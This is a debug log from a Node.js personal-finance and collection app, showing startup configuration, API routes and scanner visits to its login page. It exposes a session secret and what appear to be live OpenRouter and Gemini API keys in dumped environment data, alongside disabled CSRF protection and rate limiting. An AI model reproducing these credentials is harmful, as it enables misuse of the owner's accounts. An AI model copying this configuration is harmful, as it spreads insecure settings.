    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '85.215.119.184',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-16T00:29:22.816Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-16T00:29:24.753Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-16T00:29:25.619Z server-connect:setup:upload Upload middleware configured.
2026-07-16T00:29:25.619Z server-connect:secure CSRF Protection initialized
2026-07-16T00:29:25.625Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-16T00:29:25.625Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-16T00:29:25.626Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-16T00:29:25.630Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-16T00:29:25.634Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-16T00:29:25.638Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-16T00:29:25.655Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-16T00:29:25.667Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-16T00:29:25.672Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-16T00:29:25.673Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-16T00:29:25.673Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-16T00:29:25.677Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-16T00:29:25.683Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-16T00:29:25.693Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-16T00:29:25.696Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-16T00:29:25.767Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-16T00:29:25.768Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-16T00:29:25.774Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-16T00:29:25.780Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-16T00:29:25.782Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-16T00:29:25.786Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-16T00:29:25.792Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-16T00:29:25.794Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-16T00:29:25.801Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-16T00:29:25.801Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-16T00:29:25.807Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-16T00:29:25.807Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-16T00:29:25.810Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-16T00:29:25.817Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-16T00:29:25.817Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-16T00:29:25.820Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-16T00:29:25.823Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-16T00:29:25.827Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-16T00:29:25.827Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-16T00:29:25.837Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-16T00:29:25.840Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-16T00:29:25.840Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-16T00:29:25.851Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-16T00:29:26.341Z server-connect:router Serving templateView /
2026-07-16T00:29:26.343Z server-connect:app Executing action step identify
2026-07-16T00:29:26.343Z server-connect:app options: { provider: 'security' }
2026-07-16T00:29:26.346Z server-connect:auth No login cookie found
2026-07-16T00:29:26.346Z server-connect:output identity: false
2026-07-16T00:29:26.346Z server-connect:app Executing action step restrict
2026-07-16T00:29:26.346Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-16T00:29:26.350Z server-connect:output restrict: undefined
2026-07-16T00:29:37.550Z server-connect:router Serving templateView /login
2026-07-16T00:29:37.551Z server-connect:app Executing action step identify
2026-07-16T00:29:37.551Z server-connect:app options: { provider: 'security' }
2026-07-16T00:29:37.551Z server-connect:auth No login cookie found
2026-07-16T00:29:37.551Z server-connect:output identity: false
2026-07-16T00:29:37.551Z server-connect:router Render template layouts/authentication
2026-07-16T00:29:37.552Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.195.59',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-17T00:29:37.548Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.195.59',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.195.59',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-16T08:37:24.033Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-16T08:37:26.304Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-16T08:37:27.333Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-16T08:37:27.518Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-16T08:37:27.628Z server-connect:setup:upload Upload middleware configured.
2026-07-16T08:37:27.628Z server-connect:secure CSRF Protection initialized
2026-07-16T08:37:27.631Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-16T08:37:27.631Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-16T08:37:27.632Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-16T08:37:27.633Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-16T08:37:27.633Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-16T08:37:27.635Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-16T08:37:27.637Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-16T08:37:27.637Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-16T08:37:27.638Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-16T08:37:27.639Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-16T08:37:27.639Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-16T08:37:27.640Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-16T08:37:27.640Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-16T08:37:27.643Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-16T08:37:27.644Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-16T08:37:27.645Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-16T08:37:27.645Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-16T08:37:27.646Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-16T08:37:27.646Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-16T08:37:27.646Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-16T08:37:27.647Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-16T08:37:27.648Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-16T08:37:27.648Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-16T08:37:27.648Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-16T08:37:27.649Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-16T08:37:27.676Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-16T08:37:27.677Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-16T08:37:27.677Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-16T08:37:27.678Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-16T08:37:27.678Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-16T08:37:27.678Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-16T08:37:27.679Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-16T08:37:27.679Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-16T08:37:27.679Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-16T08:37:27.680Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-16T08:37:27.680Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-16T08:37:27.680Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-16T08:37:27.681Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-16T15:36:36.706Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-16T15:36:38.976Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-16T15:36:39.840Z server-connect:setup:upload Upload middleware configured.
2026-07-16T15:36:39.840Z server-connect:secure CSRF Protection initialized
2026-07-16T15:36:39.848Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-16T15:36:39.848Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-16T15:36:39.849Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-16T15:36:39.851Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-16T15:36:39.857Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-16T15:36:39.861Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-16T15:36:39.876Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-16T15:36:39.889Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-16T15:36:39.895Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-16T15:36:39.896Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-16T15:36:39.898Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-16T15:36:39.902Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-16T15:36:39.908Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-16T15:36:39.917Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-16T15:36:39.923Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-16T15:36:39.994Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-16T15:36:39.995Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-16T15:36:40.001Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-16T15:36:40.006Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-16T15:36:40.010Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-16T15:36:40.010Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-16T15:36:40.018Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-16T15:36:40.023Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-16T15:36:40.029Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-16T15:36:40.029Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-16T15:36:40.034Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-16T15:36:40.035Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-16T15:36:40.036Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-16T15:36:40.043Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-16T15:36:40.045Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-16T15:36:40.047Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-16T15:36:40.049Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-16T15:36:40.053Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-16T15:36:40.053Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-16T15:36:40.060Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-16T15:36:40.065Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-16T15:36:40.065Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-16T15:36:40.076Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-17T02:03:53.733Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-17T02:03:55.757Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-17T02:03:56.591Z server-connect:setup:upload Upload middleware configured.
2026-07-17T02:03:56.591Z server-connect:secure CSRF Protection initialized
2026-07-17T02:03:56.596Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-17T02:03:56.596Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-17T02:03:56.600Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-17T02:03:56.601Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-17T02:03:56.607Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-17T02:03:56.610Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-17T02:03:56.626Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-17T02:03:56.639Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-17T02:03:56.644Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-17T02:03:56.645Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-17T02:03:56.645Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-17T02:03:56.649Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-17T02:03:56.655Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-17T02:03:56.665Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-17T02:03:56.670Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-17T02:03:56.742Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-17T02:03:56.743Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-17T02:03:56.748Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-17T02:03:56.753Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-17T02:03:56.758Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-17T02:03:56.758Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-17T02:03:56.766Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-17T02:03:56.770Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-17T02:03:56.776Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-17T02:03:56.776Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-17T02:03:56.780Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-17T02:03:56.783Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-17T02:03:56.783Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-17T02:03:56.789Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-17T02:03:56.792Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-17T02:03:56.795Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-17T02:03:56.795Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-17T02:03:56.801Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-17T02:03:56.801Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-17T02:03:56.808Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-17T02:03:56.812Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-17T02:03:56.815Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-17T02:03:56.824Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-17T02:03:57.303Z server-connect:router Serving templateView /
2026-07-17T02:03:57.346Z server-connect:app Executing action step identify
2026-07-17T02:03:57.346Z server-connect:app options: { provider: 'security' }
2026-07-17T02:03:57.352Z server-connect:auth No login cookie found
2026-07-17T02:03:57.352Z server-connect:output identity: false
2026-07-17T02:03:57.352Z server-connect:app Executing action step restrict
2026-07-17T02:03:57.352Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-17T02:03:57.356Z server-connect:output restrict: undefined
2026-07-17T02:04:00.796Z server-connect:router Serving templateView /login
2026-07-17T02:04:00.796Z server-connect:app Executing action step identify
2026-07-17T02:04:00.797Z server-connect:app options: { provider: 'security' }
2026-07-17T02:04:00.797Z server-connect:auth No login cookie found
2026-07-17T02:04:00.797Z server-connect:output identity: false
2026-07-17T02:04:00.797Z server-connect:router Render template layouts/authentication
2026-07-17T02:04:00.798Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'RecordedFuture Global Inventory Crawler',
    xxxxxxxxxx: 'close',
    referer: 'https://65.21.215.19:443',
    'x-scanned-by': 'RecordedFuture-Global Inventory',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '18.235.110.182',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-18T02:04:00.794Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '18.235.110.182',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'RecordedFuture Global Inventory Crawler',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_REFERER: 'https://65.21.215.19:443',
    'HTTP_X_SCANNED-BY': 'RecordedFuture-Global Inventory',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '18.235.110.182',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-17T05:23:25.159Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-17T05:23:27.432Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-17T05:23:28.295Z server-connect:setup:upload Upload middleware configured.
2026-07-17T05:23:28.296Z server-connect:secure CSRF Protection initialized
2026-07-17T05:23:28.303Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-17T05:23:28.303Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-17T05:23:28.305Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-17T05:23:28.308Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-17T05:23:28.313Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-17T05:23:28.316Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-17T05:23:28.333Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
